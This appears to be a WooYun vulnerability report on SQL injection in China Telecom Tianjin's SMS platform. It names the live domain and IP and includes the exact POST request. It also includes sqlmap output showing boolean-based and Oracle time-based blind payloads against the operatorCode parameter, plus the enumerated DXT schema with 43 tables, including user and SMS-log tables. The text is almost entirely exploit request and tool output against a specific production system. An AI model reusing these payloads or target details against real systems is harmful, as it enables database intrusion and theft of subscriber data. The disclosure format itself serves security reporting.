WooYun.org

http://dxt.tjtele.com/
http://123.150.223.13/index.jsp
中国电信集团公司天津市电信分公司短信平台
post数据：
POST /index_user.jsp HTTP/1.0
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/QVOD, application/QVOD, */*
Referer: http://123.150.223.13/index.jsp
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: 123.150.223.13
Content-Length: 53
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: JSESSIONID=87T1K-f4EcdTs4zb2u
cmd=1&operatorCode=13800138000&submit.x=8&submit.y=10
注入数据：
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: operatorCode (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cmd=1&operatorCode=13800138000' AND 2140=2140 AND 'HyOo'='HyOo&subm
it.x=8&submit.y=10
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: cmd=1&operatorCode=13800138000' AND 7609=DBMS_PIPE.RECEIVE_MESSAGE(
CHR(73)||CHR(84)||CHR(89)||CHR(119),5) AND 'NCjr'='NCjr&submit.x=8&submit.y=10
---
[23:55:32] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[23:55:32] [INFO] fetching current database
[23:55:32] [INFO] resumed: DXT
[23:55:32] [WARNING] on Oracle you'll need to use schema names for enumeration a
s the counterpart to database names on other DBMSes
current schema (equivalent to database on Oracle): 'DXT'
[23:55:32] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\123.150.223.13'
[*] shutting down at 23:55:32

跑表：
Database: DXT
[43 tables]
+---------------------------+
| BOMB_SUMNUM |
| BUSINESS_ADINFO |
| BUSINESS_AREA |
| BUSINESS_BATCHSENDTASK |
| BUSINESS_BLACKLIST |
| BUSINESS_CALENDAR |
| BUSINESS_CALENDAR_HISTORY |
| BUSINESS_CONFIG |
| BUSINESS_DELACKPWD |
| BUSINESS_FEATURE |
| BUSINESS_FEATURETYPE |
| BUSINESS_FILTERINFO |
| BUSINESS_GROUP |
| BUSINESS_GROUPMEMBER |
| BUSINESS_MOREGCMD |
| BUSINESS_OPRECORD |
| BUSINESS_PRICEINFO |
| BUSINESS_RIGHT |
| BUSINESS_SENDCOUNT |
| BUSINESS_SENDLOG |
| BUSINESS_SENDSTAT |
| BUSINESS_SMSCONTENT |
| BUSINESS_SMSMSGSTAT |
| BUSINESS_SMSTYPE |
| BUSINESS_USER |
| BUSINESS_USERLOG |
| BUSINESS_USERROLE |
| BUSINESS_USERROLERIGHT |
| BUSINESS_USERSTATUS |
| BUSINESS_WEBREGCODE |
| PLAN_TABLE |
| QRTZ_BLOB_TRIGGERS |
| QRTZ_CALENDARS |
| QRTZ_CRON_TRIGGERS |
| QRTZ_FIRED_TRIGGERS |
| QRTZ_JOB_DETAILS |
| QRTZ_JOB_LISTENERS |
| QRTZ_LOCKS |
| QRTZ_PAUSED_TRIGGER_GRPS |
| QRTZ_SCHEDULER_STATE |
| QRTZ_SIMPLE_TRIGGERS |
| QRTZ_TRIGGERS |
| QRTZ_TRIGGER_LISTENERS |
+---------------------------+